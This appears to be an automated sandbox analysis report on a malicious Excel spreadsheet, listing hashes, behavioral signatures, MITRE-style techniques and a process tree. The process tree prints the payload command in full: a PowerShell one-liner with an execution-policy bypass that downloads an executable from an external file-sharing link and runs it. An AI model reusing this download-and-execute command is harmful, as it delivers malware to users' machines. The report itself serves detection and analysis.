Analysis
-
max time kernel
46s -
max time network
45s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
05/08/2024, 21:40
Behavioral task
behavioral1
Sample
dc0a6e745ecf9d10a182b9315836b89bf173c6dda35cff27cfeee7784713eba4.xls
Resource
win7-20240704-en
Behavioral task
behavioral2
Sample
dc0a6e745ecf9d10a182b9315836b89bf173c6dda35cff27cfeee7784713eba4.xls
Resource
win10v2004-20240802-en
General
-
Target
dc0a6e745ecf9d10a182b9315836b89bf173c6dda35cff27cfeee7784713eba4.xls
-
Size
26KB
-
MD5
e18f22f3d2beed91bd860acd4bcf24fb
-
SHA1
66a7180085e91226f16db2b5f9146d4fdc2c6208
-
SHA256
dc0a6e745ecf9d10a182b9315836b89bf173c6dda35cff27cfeee7784713eba4
-
SHA512
d7be81e4afd0cc643e1d71f8b34ec4a8a59907d822e9fb745e9f3355b3ba49b0778752e4e3eff8efa6cc4a0c8fca239c5b91a9270436b46b4b9594d7342c9d48
-
SSDEEP
768:MP1k3hbdlylKsgqopeJBWhZFGkE+cL2NdAJavmvCv4KO:Y1k3hbdlylKsgqopeJBWhZFGkE+cL2NO
Malware Config
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 3964 4324 cmd.exe 82 -
Blocklisted process makes network request 1 IoCs
flow pid Process 9 1808 powershell.exe -
pid Process 1808 powershell.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 4324 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1808 powershell.exe 1808 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1808 powershell.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 4324 EXCEL.EXE 4324 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 12 IoCs
pid Process 4324 EXCEL.EXE 4324 EXCEL.EXE 4324 EXCEL.EXE 4324 EXCEL.EXE 4324 EXCEL.EXE 4324 EXCEL.EXE 4324 EXCEL.EXE 4324 EXCEL.EXE 4324 EXCEL.EXE 4324 EXCEL.EXE 4324 EXCEL.EXE 4324 EXCEL.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 4324 wrote to memory of 3964 4324 EXCEL.EXE 87 PID 4324 wrote to memory of 3964 4324 EXCEL.EXE 87 PID 3964 wrote to memory of 1808 3964 cmd.exe 89 PID 3964 wrote to memory of 1808 3964 cmd.exe 89
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\dc0a6e745ecf9d10a182b9315836b89bf173c6dda35cff27cfeee7784713eba4.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4324 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Invoke-WebRequest 'https://gofile.io/d/hRWpD6' -OutFile C:\Users\Admin\AppData\Local\Temp\file.exe; Start-Process C:\Users\Admin\AppData\Local\Temp\file.exe"2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3964 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Invoke-WebRequest 'https://gofile.io/d/hRWpD6' -OutFile C:\Users\Admin\AppData\Local\Temp\file.exe; Start-Process C:\Users\Admin\AppData\Local\Temp\file.exe"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1808
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
494B
MD52c90c89565e8b97ff3357046451f6ad2
SHA1a4d804006898694914846598e87d1da86c0ab2af
SHA256cca2b803b3a9607ca273bd358daa7679d028e4cee40030677b2ee9905222f9cd
SHA512742e6a7c01710b6133f6dcafad5b6c6ef2c31799f37ab353631f07695fdd2542daf9fc6ba9798bc795825d1a4f976296c504d19d74602f2aac481d988d8a1bba